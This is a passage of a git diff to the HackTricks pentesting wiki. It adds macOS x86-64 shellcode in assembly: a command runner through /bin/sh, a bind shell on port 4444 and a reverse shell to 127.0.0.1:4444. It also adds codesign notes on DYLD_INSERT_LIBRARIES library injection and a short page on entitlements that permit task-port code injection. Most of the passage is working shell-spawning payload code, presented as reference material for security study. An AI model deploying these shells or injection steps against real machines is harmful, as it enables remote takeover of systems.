"/etc/passwd", 0 +``` + +#### Invoke command with sh + +```armasm +bits 64 +section .text +global _main + +_main: + ; Prepare the arguments for the execve syscall + sub rsp, 32 ; Create space on the stack + + ; Argument array + lea rdi, [rel touch_command] + push rdi ; push &"touch /tmp/lalala" + lea rdi, [rel sh_c_option] + push rdi ; push &"-c" + lea rdi, [rel sh_path] + push rdi ; push &"/bin/sh" + + ; execve syscall + mov rsi, rsp ; rsi = pointer to argument array + xor rdx, rdx ; rdx = NULL (no env variables) + push 59 ; put 59 on the stack (execve syscall) + pop rax ; pop it to RAX + bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) + syscall + +_exit: + xor rdi, rdi ; Exit status code 0 + push 1 ; put 1 on the stack (exit syscall) + pop rax ; pop it to RAX + bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) + syscall + +section .data +sh_path: db "/bin/sh", 0 +sh_c_option: db "-c", 0 +touch_command: db "touch /tmp/lalala", 0 +``` + +#### Bind shell + +Bind shell from [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **port 4444** + +```armasm +section .text +global _main +_main: + ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) + xor rdi, rdi + mul rdi + mov dil, 0x2 + xor rsi, rsi + mov sil, 0x1 + mov al, 0x2 + ror rax, 0x28 + mov r8, rax + mov al, 0x61 + syscall + + ; struct sockaddr_in { + ; __uint8_t sin_len; + ; sa_family_t sin_family; + ; in_port_t sin_port; + ; struct in_addr sin_addr; + ; char sin_zero[8]; + ; }; + mov rsi, 0xffffffffa3eefdf0 + neg rsi + push rsi + push rsp + pop rsi + + ; bind(host_sockid, &sockaddr, 16) + mov rdi, rax + xor dl, 0x10 + mov rax, r8 + mov al, 0x68 + syscall + + ; listen(host_sockid, 2) + xor rsi, rsi + mov sil, 0x2 + mov rax, r8 + mov al, 0x6a + syscall + + ; accept(host_sockid, 0, 0) + xor rsi, rsi + xor rdx, rdx + mov rax, r8 + mov al, 0x1e + syscall + + mov rdi, rax + mov sil, 0x3 + +dup2: + ; dup2(client_sockid, 2) + ; -> dup2(client_sockid, 1) + ; -> dup2(client_sockid, 0) + mov rax, r8 + mov al, 0x5a + sub sil, 1 + syscall + test rsi, rsi + jne dup2 + + ; execve("//bin/sh", 0, 0) + push rsi + mov rdi, 0x68732f6e69622f2f + push rdi + push rsp + pop rdi + mov rax, r8 + mov al, 0x3b + syscall +``` + +#### Reverse Shell + +Reverse shell from [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell to **127.0.0.1:4444** + +```armasm +section .text +global _main +_main: + ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) + xor rdi, rdi + mul rdi + mov dil, 0x2 + xor rsi, rsi + mov sil, 0x1 + mov al, 0x2 + ror rax, 0x28 + mov r8, rax + mov al, 0x61 + syscall + + ; struct sockaddr_in { + ; __uint8_t sin_len; + ; sa_family_t sin_family; + ; in_port_t sin_port; + ; struct in_addr sin_addr; + ; char sin_zero[8]; + ; }; + mov rsi, 0xfeffff80a3eefdf0 + neg rsi + push rsi + push rsp + pop rsi + + ; connect(sockid, &sockaddr, 16) + mov rdi, rax + xor dl, 0x10 + mov rax, r8 + mov al, 0x62 + syscall + + xor rsi, rsi + mov sil, 0x3 + +dup2: + ; dup2(sockid, 2) + ; -> dup2(sockid, 1) + ; -> dup2(sockid, 0) + mov rax, r8 + mov al, 0x5a + sub sil, 1 + syscall + test rsi, rsi + jne dup2 + + ; execve("//bin/sh", 0, 0) + push rsi + mov rdi, 0x68732f6e69622f2f + push rdi + push rsp + pop rdi + xor rdx, rdx + mov rax, r8 + mov al, 0x3b + syscall +``` + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 53c5c4e7..ea24516e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -207,17 +207,38 @@ Create a new certificate in the Keychain and use it to sign the binary: {% code overflow="wrap" %} ```bash +# Apply runtime proetction codesign -s --option=runtime ./hello -DYLD_INSERT_LIBRARIES=inject.dylib ./hello +DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected +# Apply library validation codesign -f -s --option=library ./hello -DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert +DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate) -codesign -s inject.dylib -DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Apple dev certificate is needed +# Sign it +## If the signature is from an unverified developer the injection will still work +## If it's from a verified developer, it won't +codesign -f -s inject.dylib +DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed + +# Apply CS_RESTRICT protection +codesign -f -s --option=restrict hello-signed +DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work ``` {% endcode %} +{% hint style="danger" %} +Note that even if there are binaries signed with flags **`0x0(none)`**, they can get the **`CS_RESTRICT`** flag dynamically when executed and therefore this technique won't work in them. + +You can check if a proc has this flag with (get [**csops here**](https://github.com/axelexic/CSOps)): + +```bash +csops -status +``` + +and then check if the flag 0x800 is enabled. +{% endhint %} +
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md new file mode 100644 index 00000000..aaf3614d --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -0,0 +1,37 @@ +# macOS Dangerous Entitlements + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +{% hint style="warning" %} +Note that entitlements starting with **`com.apple`** are not available to third-parties, only APple can grant them. +{% endhint %} + +### `com.apple.security.get-task-allow` + +This entitlement allows to get the task port of the process run by the binary with this entitlement and **inject code on it**. Check [**this for more info**](../mac-os-architecture/macos-ipc-inter-process-communication/). + +### **`com.apple.system-task-ports` (previously called `task_for_pid-allow`)** + +**This entitlement allows to** get the **task port for any** process, except the kernel. Check [**this for more info**](../mac-os-architecture/macos-ipc-inter-process-communication/). + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +